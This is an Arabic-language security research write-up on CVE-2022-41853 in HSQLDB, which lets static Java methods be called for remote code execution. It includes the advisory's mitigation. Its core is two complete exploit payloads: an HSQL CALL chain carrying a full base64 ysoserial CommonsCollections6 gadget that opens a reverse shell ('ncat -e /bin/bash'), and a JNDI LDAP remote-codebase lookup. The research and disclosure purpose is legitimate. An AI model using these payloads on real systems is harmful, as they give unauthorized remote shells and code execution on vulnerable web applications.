
بحث في CVE-2022-41853: استخدام الدوال الثابتة للحصول على RCE عبر إلغاء تسلسل Java & هجوم قاعدة الشيفرة البعيدة
أولئك الذين يستخدمون java.sql.Statement أو java.sql.PreparedStatement في hsqldb (قاعدة بيانات HyperSQL) لمعالجة المدخلات غير الموثوقة قد يكونون عرضة لهجوم تنفيذ التعليمات البرمجية عن بُعد. افتراضيًا، يُسمح باستدعاء أي طريقة ثابتة لأي فئة Java في مسار الفئة مما يؤدي إلى تنفيذ التعليمات البرمجية. يمكن منع المشكلة عن طريق التحديث إلى الإصدار 2.7.1 أو عن طريق تعيين خاصية النظام "hsqldb.method_class_names" إلى الفئات المسموح باستدعائها. على سبيل المثال، يمكن استخدام System.setProperty("hsqldb.method_class_names", "abc") أو وسيط Java -Dhsqldb.method_class_names="abc". بدءًا من الإصدار 2.7.1، لا يمكن الوصول إلى جميع الفئات افتراضيًا باستثناء تلك الموجودة في java.lang.Math ويجب تمكينها يدويًا.
يمكن العثور على الإفصاح الأولي لهذه الثغرة هنا.
فريق OSS-Fuzz
https://github.com/google/oss-fuzz
في عام 2021، كنت أقرأ مقال المدونة "Remote Code Execution in F5 Big‑IP" لميخائيل كليوتشنيكوف حول كيفية استخدام هجوم تسوية المسار + استعلامات HSQL "CALL" لاستدعاء دوال Java الثابتة التعسفية للحصول على RCE.
وبما أنني كنت في ذلك الوقت أبلغ عن ثغرات وأبحث فيها في Apache SOLR، تذكرت أن الخاص بهم يستخدم HSQL وبدأت في إعداد بيئة الاختبار.

ملاحظة: لسوء الحظ، لا تؤثر هذه الثغرة على خوادم Apache Solr الافتراضية حيث يجب وضع ملف HSQL JAR في المجلد "./server/solr-webapp/webapp/WEB-INF/lib/" حتى يتمكن مكون Stream JDBC من الوصول إلى برنامج التشغيل.
نظرًا لأن RCE في F5 تستخدم الدالة "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" الموجودة في "tmui.jar" (ملف JAR خاص بتطبيقات F5)، وأردت التوصل إلى حمولة مستقلة عن التطبيق، بدأت في البحث عن كيفية ربط ملفات JAR شائعة الاستخدام (مثل Apache Commons Collections، Apache Log4J) لاستدعاء دوال ثابتة والحصول على RCE.
نظرًا لأن أدوات CommonsCollections* من ysoserial كانت أول ما يتبادر إلى الذهن، اتبعت مسار إلغاء تسلسل Java بالنتائج التالية:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') لتمكين إلغاء التسلسل غير الآمن (لماذا تجاوز الحماية عندما يمكنك إزالتها بالكامل :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) كمستقبل لإدخالنا للوصول إلى الدالة ObjectInputStream(x).readObject()public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) أو public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) لتحويل سلسلة حمولة ysoserial المشفرة إلى مصفوفة بايت سيتم إدخالها في deserialize(byte[] objectData)شكل حمولة HSQL الكاملة كما يلي:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
ملاحظة: في هذه الحالة، حمولة ysoserial من نوع CommonsCollection6 وستقوم بتنفيذ أمر الصدفة العكسية ncat -e /bin/bash 127.1 4444.
ملاحظة 2: لا يتأثر HSQLDB.jar المستقل بهذه الحمولة لأنه لا يتضمن ملف Apache Commons Collections JAR. تعمل هذه الثغرة (في معظم الأحيان) عندما يتم تضمين HSQL في تطبيق ويب (مثل SOLR، Liferay، إلخ.)
يمكن العثور على مزيد من التفاصيل وعملية الاستغلال في PDF.
أثناء قراءتي حول هذا الموضوع في 2023، صادفت هذا العرض الرائع Exploring JNDI Attacks by iSafeBlue الذي استخدم java.lang.System.setProperty لتعيين com.sun.jndi.ldap.object.trustURLCodebase أو com.sun.jndi.rmi.object.trustURLCodebase إلى true ثم إجراء بحث LDAP/RMI لتنفيذ هجوم Java Remote Codebase بنجاح.
مثال لحمولة HSQL:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
النتيجة:

ملاحظة: لأسباب غير معروفة، تعمل هذه الثغرة على HSQLDB.jar الافتراضي، ولكنها لا تعمل في بيئة HSQL + Apache SOLR ¯\_(ツ)_/¯.